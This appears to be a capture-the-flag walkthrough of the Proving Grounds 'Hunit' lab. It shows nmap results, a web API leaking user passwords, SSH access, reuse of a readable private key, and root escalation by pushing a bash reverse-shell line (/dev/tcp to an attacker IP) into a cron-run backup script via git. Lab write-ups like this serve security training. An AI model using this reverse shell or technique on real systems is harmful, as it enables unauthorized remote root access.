Nmap
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat (language: en)
|_http-title: My Haikus
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
PORT STATE SERVICE
8080/tcp open http-proxy
12445/tcp open unknown
18030/tcp open unknown
43022/tcp open unknown
PORT STATE SERVICE VERSION
12445/tcp open netbios-ssn Samba smbd 4
18030/tcp open http Apache httpd 2.4.46 ((Unix))
|_http-server-header: Apache/2.4.46 (Unix)
|_http-title: Whack A Mole!
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
43022/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 7b:fc:37:b4:da:6e:c5:8e:a9:8b:b7:80:f5:cd:09:cb (RSA)
| 256 89:cd:ea:47:25:d9:8f:f8:94:c3:d6:5c:d4:05:ba:d0 (ECDSA)
|_ 256 c0:7c:6f:47:7e:94:cc:8b:f8:3d:a0:a6:1f:a9:27:11 (ED25519)
Enumeration
On port 8080 there is a web page with links to Haikus. The user who posted each is displayed under the title.

We have: james, julie, jennifer, richard.
In the soruce code of one of the Haikus, there is a reference to an /api/ directory. Going to it displays some other directories.


Going to /users/ takes us to some JSON with usernames and passwords.

rjackson:yYJcgYqszv4aGQ - ID 1
jsanchez:d52cQ1BzyNQycg - ID 3
dademola:ExplainSlowQuest110 - ID 6
jwinters:KTuGcSW6Zxwd0Q - ID 7
jvargas:OuQ96hcgiM5o9w - ID 10
Looks like dademola is the admin here.
I ran a service discovery nmap scan on the ports our full port scan identified, and we learn that 43022 is running SSH. I’m going to try dademola and see if we get in.
And we’re in!

Privilege Escalation
There is a file called backups.sh and one called pull.sh running every 3 and 2 minutes, respectively.

Checking out /etc/passwd, we see a git user. I checked his home directory and found that we have read access to his .ssh directory, and can read his private key. I copied it over to my machine and logged on as the git user.

We get dropped into a git shell:

We are not able to run any commands.
Instead, we may be able to clone the git repository, edit backups.sh (appearing to be owned by root), and push the changes back to the git server.
┌──(kali㉿kali)-[~/Desktop]
└─$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.225.125:/git-server

We then add this line to the backups.sh file and make it executable:
sh -i >& /dev/tcp/192.168.45.221/8080 0>&1┌──(kali㉿kali)-[~/ProvingGrounds/Hunit/git-server]
└─$ chmod 777 backups.sh Then we add, commit, and push.
┌──(kali㉿kali)-[~/ProvingGrounds/Hunit/git-server]
└─$ git add . ┌──(kali㉿kali)-[~/ProvingGrounds/Hunit/git-server]
└─$ git commit -m "Co0L" 
We start a listener and wait for the shell.

Done! (Are we ever done?)